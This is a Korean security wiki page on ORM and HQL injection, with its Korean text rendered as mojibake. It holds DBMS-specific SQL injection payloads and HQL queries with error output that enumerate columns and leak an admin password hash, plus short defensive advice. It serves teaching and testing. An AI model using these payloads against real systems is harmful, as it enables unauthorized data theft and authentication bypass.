ORM Injection

๐Ÿ” Introduction

ORM Injection์€ ORM(Object Relational Mapping) Layer์—์„œ ๋ฐœ์ƒํ•˜๋Š” Injection ๊ณต๊ฒฉ์œผ๋กœ SQL Injection๊ณผ ๋ฐ€์ ‘ํ•œ ์—ฐ๊ด€์„ฑ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

ORM(Object Relational Mapping)์€ ์†Œ์Šค์ฝ”๋“œ ์ƒ์˜ Object์™€ RDBMS์˜ Data๋ฅผ ์ž๋™์œผ๋กœ ๋งคํ•‘ํ•˜๋Š” ๊ธฐ์ˆ ๋กœ Object๊ฐ€ ์˜์†์„ฑ(Persistence)๋ฅผ ๊ฐ€์งˆ๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋Œ€ํ‘œ์ ์œผ๋กœ Hibernate, Laravel์˜ Eloquent, Django/Rails์˜ ActiveRecord ๋“ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๋Š” ORM ๋„๊ตฌ๋กœ ์ƒ์„ฑ๋œ database access layer ์ฝ”๋“œ์— ์กด์žฌํ•˜๋Š” ์ทจ์•ฝ์ ์ด๋‚˜ ๊ฐœ๋ฐœ์ž๊ฐ€ ORM์„ ํ™œ์šฉํ•˜๋Š” ๊ณผ์ •์—์„œ์˜ ๋ฌธ์ œ์ ๋“ค์„ ์ด์šฉํ•ด SQL Command๋ฅผ Injectionํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ORM ๋„๊ตฌ๋‚˜ ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ , ๋ฐ์ดํ„ฐ์˜ Access Layer๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๋Š” ์ ์œผ ์ œ์™ธํ•˜๋ฉด SQL Injection๊ณผ ๊ฑฐ์˜ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

orm

๐Ÿ—ก Offensive techniques

Detect

ORM์„ ์‚ฌ์šฉํ•˜๋Š” ์„œ๋น„์Šค์˜ ๊ฒฝ์šฐ ์ƒ๋Œ€์ ์œผ๋กœ SQL Query๋ฅผ ์ง์ ‘ ์‚ฌ์šฉํ•˜๋Š” ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ณด๋‹จ ์•ˆ์ „ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ Object์— ๋งคํ•‘๋œ ๊ธฐ๋Šฅ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ณผ์ •์—์„œ ๊ฐœ๋ฐœ์ž๊ฐ€ ์‹ค์ˆ˜ํ•  ์ˆ˜๋„ ์žˆ๊ณ  ๊ตฌ๋ฒ„์ „์˜ ORM ํ”„๋ ˆ์ž„์›Œํฌ ๋“ฑ์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ์•Œ๋ ค์ง„ ๊ณต๊ฐœ ์ทจ์•ฝ์ ์— ์˜ํ•ด ์˜ํ–ฅ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ORM์ด ์ž์ฃผ ํ™œ์šฉ๋˜๋Š” ํ”„๋ ˆ์ž„์›Œํฌ๋กœ ๋งŒ๋“ค์–ด์ง„ ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ฒฝ์šฐ ๊ด€๋ จ ๊ณต๊ฐœ ์ทจ์•ฝ์ ๊ณผ ๊ตฌํ˜„๋œ ๋ถ€๋ถ„์— ๋Œ€ํ•œ ํ…Œ์ŠคํŒ…์œผ๋กœ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Ruby on Rails
  • Django
  • Laravel
  • JPA(Hibernate) ๋“ฑ

Wappalyzer ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ํ™œ์šฉํ•˜๋ฉด ์‰ฝ๊ฒŒ ์„œ๋น„์Šค๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‚˜๋จธ์ง€ ํ…Œ์ŠคํŒ… ๋ถ€๋ถ„์€ SQL Injection๊ณผ ๋™์ผํ•ฉ๋‹ˆ๋‹ค.

Magic Functions

DBMS SQL Injection
MySQL abc\' INTO OUTFILE --
PostgreSQL $$='$$=chr(61)\|\|chr(0x27) and 1=pg_sleep(2)\|\|version()'
Oracle NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
MS SQL 1<LEN(%C2%A0(select%C2%A0top%C2%A01%C2%A0name%C2%A0from%C2%A0users)

Exploitation

Cullinan > SQL Injection > Exploitation ์ฐธ๊ณ 

HQL

Enum Columns

from BlogPosts
where title like '%'
  and DOESNT_EXIST=1 and ''='%' -- 
  and published = true
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
      select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]

Bypass Auth with Error Based

from BlogPosts
where title like '%11'
  and (select password from User where username='admin')=1
  or ''='%'
  and published = true
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1

Bypass protection

Cullinan > SQL Injection > Bypass Protection ์ฐธ๊ณ 

๐Ÿ›ก Defensive techniques

ORM ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๊ณ  ์™„๋ฒฝํ•˜๊ฒŒ ์•ˆ์ „ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ณต๊ฐœ ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ๋ชจ๋‹ˆํ„ฐ๋ง๊ณผ ์ฃผ๊ธฐ์ ์ธ ์—…๋ฐ์ดํŠธ๊ฐ€ ํ•„์š”ํ•˜๋ฉฐ, ORM์˜ Object์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉ์ž๋กœ ๋ถ€ํ„ฐ ๋ฐ›๋Š” ๊ฒฝ์šฐ ์ž…๋ ฅ ๊ฐ’ ๊ฒ€์ฆ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์ž…๋ ฅ ๊ฐ’ ๊ฒ€์ฆ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ Cullinan > SQL Injection > Bypass Protection ๋ถ€๋ถ„์„ ์ฐธ๊ณ ํ•˜์‹œ๊ธธ ๋ฐ”๋ž๋‹ˆ๋‹ค.

๐Ÿ“Œ References